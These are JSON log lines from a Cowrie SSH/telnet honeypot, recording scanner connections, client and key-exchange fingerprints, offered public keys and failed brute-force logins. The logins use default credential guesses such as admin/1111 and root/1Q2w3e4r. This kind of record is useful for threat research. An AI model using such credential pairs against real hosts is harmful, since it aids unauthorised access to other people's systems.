{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:2e:25:c3:c9:17:38:a2:28:76:26:0a:0a:27:c0:09","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANTQIXiBjJHCqHAY5XdzlIHY5uxJk7opJkjjVgJet0cg59M2HYjMTmu7jQzX0Asp7NErG+AmdlJo0QLDfLuAXTLcIU6LXsIBUhwcO2C/Jaihqu/ZCdH7J9Gm/AgY2dEP0jQ9SJtaA0kKK+manUD+plZjE3W+rnkRxVY23/JSpY6pAAAAFQCda2L/LXiSBi6BcdPdaSbLQAplZQAAAIBU/c3R/1pHh3GwMNjmUXQoGrQ0BdPWIPyo39vhZti2nPvVsAzQOa+sZPZhyvII2t1I1IV1p9DqT9tEfKPlYVWvVTdcRKBJ2MU8NPDHbtleA9hC8jJIeN3XMegMLVZL8tC69C6oRf15S+Kt4ZAPlRAKGVDPAvFRC4qKHKygkuiG3gAAAIAqpIYCpe8UtH4iBXXM9MjCtG/yDrl0VuzJG/djgUJPcEK9uaaLXyo9hHWxPnnAYAbBGF8dA0TwiuIwXJFpcnhPFAgwtjFPIlth6gnuIcByvXJKi1KTRldBS+MdlvGeCu5iScUzQRTVds0A7mDCVfNKpi2itdw2+PzQYnUiBGq78A==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:10.040224Z","src_ip":"209.126.2.70","session":"9fce2a84593f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1111","message":"login attempt [admin/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:10.087889Z","src_ip":"178.20.210.186","session":"1484a22905e5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:ec:78:9d:69:e7:b2:57:42:9f:27:70:c5:a5:26:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDPvYarC9K1v27yvBfERquELL5NBwgJyAXz254G3yL+HHqQgaomNHjlyYlVhXdZJC8XkbYpSg1TUJaT/REHXk2x8QRW5Pxmu8GtiFKMWoGQaQ7VvfB5zDjlaHFyxuc2uNwC07XGu+wmP7hiK0bapPsD6IEJIs7CqszcBmVhPUx1/RplPV7wfRzNcvmdcmjgB9J8jqQiVEYqEQY0I5CESPWiAaihZ+q+8cl2RZa8Ifvzs3FvLOwIvye2T0iNT30Vsk8vSnNVUW6K9FmoEllX3G2grNrg5W+48PfqoCRdJb3zuaLYRxHH42SSs1mK7cGHRYgwL0IqGt/RsL+ZBTAUnLIXLdEgP/2X/HEKMy7/Y9tuxQaE5MIHZtDgnUltCWD4wi16RhR/BUtAPKLNxA8hnAg/a04GrV/GGqs3szveDviIF+QoX339N3LbzbUObw1+91F8pTsQciMkxnmStih1Oyz35SnU1+Ze40M7jYriGFstH9VNE/F5NuYjy+MbGemxB9U9JtW14VQU0qCo13GiSVP+ebumspHiFINFQoO0k9TOMVY4/+7gInOtlAEF7/V8B9iHn0WbxuciBQByT+QYsnIpMKpxVqy2fcrusQ8MGFlXw8MXzGAiPRiCUIhXYKR/xeNUPrDwjH4bhZRagfP1XyELx+XyCWayC8kp0YBNScs4Ww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:ec:78:9d:69:e7:b2:57:42:9f:27:70:c5:a5:26:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:10.093664Z","src_ip":"209.126.2.70","session":"9fce2a84593f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:ec:78:9d:69:e7:b2:57:42:9f:27:70:c5:a5:26:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDPvYarC9K1v27yvBfERquELL5NBwgJyAXz254G3yL+HHqQgaomNHjlyYlVhXdZJC8XkbYpSg1TUJaT/REHXk2x8QRW5Pxmu8GtiFKMWoGQaQ7VvfB5zDjlaHFyxuc2uNwC07XGu+wmP7hiK0bapPsD6IEJIs7CqszcBmVhPUx1/RplPV7wfRzNcvmdcmjgB9J8jqQiVEYqEQY0I5CESPWiAaihZ+q+8cl2RZa8Ifvzs3FvLOwIvye2T0iNT30Vsk8vSnNVUW6K9FmoEllX3G2grNrg5W+48PfqoCRdJb3zuaLYRxHH42SSs1mK7cGHRYgwL0IqGt/RsL+ZBTAUnLIXLdEgP/2X/HEKMy7/Y9tuxQaE5MIHZtDgnUltCWD4wi16RhR/BUtAPKLNxA8hnAg/a04GrV/GGqs3szveDviIF+QoX339N3LbzbUObw1+91F8pTsQciMkxnmStih1Oyz35SnU1+Ze40M7jYriGFstH9VNE/F5NuYjy+MbGemxB9U9JtW14VQU0qCo13GiSVP+ebumspHiFINFQoO0k9TOMVY4/+7gInOtlAEF7/V8B9iHn0WbxuciBQByT+QYsnIpMKpxVqy2fcrusQ8MGFlXw8MXzGAiPRiCUIhXYKR/xeNUPrDwjH4bhZRagfP1XyELx+XyCWayC8kp0YBNScs4Ww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:10.097224Z","src_ip":"209.126.2.70","session":"9fce2a84593f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:2c:d4:c9:e7:63:e3:4d:16:71:c5:05:1b:06:03:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPxFYg0EZnBa2l0i852Cz3I6tyOCe7Hj96krJTVLAifxF0tadsygAFa744H4ZwiTTNuDpmnPoumYaehyle3wENNLZHrJOGmVfhotLaih4CAlXR65FoKflDehRB9NdW9J8j/n0HzNy7OTcuR7+UEOkV6n2wjdLtlZnRaPEVMkkyx8jSBl5OT/OGQ1GnevNsiSEkdSFDsgkq7ljuAoXQsD6+aUzknH1TNqntE3/fBVV/LrqIBLKrcNKVNb7mLD/voYQXXAoowaFSWR6P+JMFS8BlTsFz7X0gUDcznaXscQOELLP0DHwCsyWuucYAV//aQTCmrlE0WMHwsh8NTFt32gn3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:2c:d4:c9:e7:63:e3:4d:16:71:c5:05:1b:06:03:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:10.141976Z","src_ip":"209.126.2.70","session":"9fce2a84593f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:2c:d4:c9:e7:63:e3:4d:16:71:c5:05:1b:06:03:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPxFYg0EZnBa2l0i852Cz3I6tyOCe7Hj96krJTVLAifxF0tadsygAFa744H4ZwiTTNuDpmnPoumYaehyle3wENNLZHrJOGmVfhotLaih4CAlXR65FoKflDehRB9NdW9J8j/n0HzNy7OTcuR7+UEOkV6n2wjdLtlZnRaPEVMkkyx8jSBl5OT/OGQ1GnevNsiSEkdSFDsgkq7ljuAoXQsD6+aUzknH1TNqntE3/fBVV/LrqIBLKrcNKVNb7mLD/voYQXXAoowaFSWR6P+JMFS8BlTsFz7X0gUDcznaXscQOELLP0DHwCsyWuucYAV//aQTCmrlE0WMHwsh8NTFt32gn3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:10.146039Z","src_ip":"209.126.2.70","session":"9fce2a84593f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:26:e1:de:ee:37:e3:fe:ba:d7:6a:00:7d:07:27:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDM5v+441FdhZ7u5EIaGGrbNXk2ZAX+ywUb3AzP2d5jGjQCF2CuVs2WHygKbAMI5Zzl9wMW0UVCDXgk+/Rm5nA2T/+Dh0iVwz3f6rY1zq6LbwUAqaypjyFz+kP9JYaQQH50yH0lvpPI6TBJJAF9pYxCH+0amnVo5rOnfT9r9WJ5HPgddF9/QTWL4S4C6OmJwfgyIHB+oz9Rv1yiJH+gFbSCErsjRwihgsWNmLvvyOSWUvo127yGvLG24w2VnJ7CULCEDQLK5xBjdbgUnGj+gZdqsn8sAk5PDpFqX9iCGHDC8IRn7aXhHzCt7By0l87GGyI4zEgLV/Bo/J4gX9ZUS3P8h+iuenSLYA/GKauRgwHWg9sa01gZo8lChiO4/F0n7LFVUv2VbT6nfU5QVPmHRyLLqSGoCI8Y1z8HyTZKp+N2hkvmbvVA5bgtuVyuyneho/IRDihFGE2BnTac+LLM4IFsnUaU2WIpE3aIjayKkLctwO14sU4n4hpbQwoAYUzwEts=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:26:e1:de:ee:37:e3:fe:ba:d7:6a:00:7d:07:27:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:10.183658Z","src_ip":"209.126.2.70","session":"9fce2a84593f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:26:e1:de:ee:37:e3:fe:ba:d7:6a:00:7d:07:27:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDM5v+441FdhZ7u5EIaGGrbNXk2ZAX+ywUb3AzP2d5jGjQCF2CuVs2WHygKbAMI5Zzl9wMW0UVCDXgk+/Rm5nA2T/+Dh0iVwz3f6rY1zq6LbwUAqaypjyFz+kP9JYaQQH50yH0lvpPI6TBJJAF9pYxCH+0amnVo5rOnfT9r9WJ5HPgddF9/QTWL4S4C6OmJwfgyIHB+oz9Rv1yiJH+gFbSCErsjRwihgsWNmLvvyOSWUvo127yGvLG24w2VnJ7CULCEDQLK5xBjdbgUnGj+gZdqsn8sAk5PDpFqX9iCGHDC8IRn7aXhHzCt7By0l87GGyI4zEgLV/Bo/J4gX9ZUS3P8h+iuenSLYA/GKauRgwHWg9sa01gZo8lChiO4/F0n7LFVUv2VbT6nfU5QVPmHRyLLqSGoCI8Y1z8HyTZKp+N2hkvmbvVA5bgtuVyuyneho/IRDihFGE2BnTac+LLM4IFsnUaU2WIpE3aIjayKkLctwO14sU4n4hpbQwoAYUzwEts=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:10.187684Z","src_ip":"209.126.2.70","session":"9fce2a84593f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:10.268506Z","src_ip":"209.126.2.70","session":"9fce2a84593f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:11.203392Z","src_ip":"178.20.210.186","session":"1484a22905e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51638,"dst_ip":"159.203.135.109","dst_port":22,"session":"35fb928e86c4","protocol":"ssh","message":"New connection: 45.153.34.114:51638 (159.203.135.109:22) [session: 35fb928e86c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:15.918406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:15.924009Z","src_ip":"45.153.34.114","session":"35fb928e86c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:16.008220Z","src_ip":"45.153.34.114","session":"35fb928e86c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:16.380359Z","src_ip":"45.153.34.114","session":"35fb928e86c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:17.467797Z","src_ip":"45.153.34.114","session":"35fb928e86c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55416,"dst_ip":"159.203.135.109","dst_port":22,"session":"83956b2c09bd","protocol":"ssh","message":"New connection: 45.153.34.114:55416 (159.203.135.109:22) [session: 83956b2c09bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:24.020452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:24.024563Z","src_ip":"45.153.34.114","session":"83956b2c09bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:24.108441Z","src_ip":"45.153.34.114","session":"83956b2c09bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:24.366966Z","src_ip":"45.153.34.114","session":"83956b2c09bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:25.462071Z","src_ip":"45.153.34.114","session":"83956b2c09bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.139638900756836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:27.292925Z","src_ip":"74.91.213.120","session":"e30c3d67bd4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.167038679122925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:29.206113Z","src_ip":"74.91.213.120","session":"a1d473b88cec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.161903142929077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:31.220394Z","src_ip":"74.91.213.120","session":"b9a2b3e5c774","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42144,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6fc4276e36a","protocol":"ssh","message":"New connection: 45.153.34.114:42144 (159.203.135.109:22) [session: f6fc4276e36a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:32.280293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:32.287241Z","src_ip":"45.153.34.114","session":"f6fc4276e36a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:32.365597Z","src_ip":"45.153.34.114","session":"f6fc4276e36a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uploader","password":"uploader","message":"login attempt [uploader/uploader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:32.718617Z","src_ip":"45.153.34.114","session":"f6fc4276e36a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:33.822488Z","src_ip":"45.153.34.114","session":"f6fc4276e36a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.17292094230652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:36.303319Z","src_ip":"74.91.213.120","session":"fa5208465d83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":36316,"dst_ip":"159.203.135.109","dst_port":22,"session":"21f63c0b1f17","protocol":"ssh","message":"New connection: 45.153.34.114:36316 (159.203.135.109:22) [session: 21f63c0b1f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:40.284467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:40.291726Z","src_ip":"45.153.34.114","session":"21f63c0b1f17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:40.374908Z","src_ip":"45.153.34.114","session":"21f63c0b1f17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser123","message":"login attempt [esuser/esuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:40.641780Z","src_ip":"45.153.34.114","session":"21f63c0b1f17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:41.728826Z","src_ip":"45.153.34.114","session":"21f63c0b1f17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":36322,"dst_ip":"159.203.135.109","dst_port":22,"session":"96701fdd9aa2","protocol":"ssh","message":"New connection: 45.153.34.114:36322 (159.203.135.109:22) [session: 96701fdd9aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:48.239185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:48.243363Z","src_ip":"45.153.34.114","session":"96701fdd9aa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:48.332681Z","src_ip":"45.153.34.114","session":"96701fdd9aa2","protocol":"ssh"}
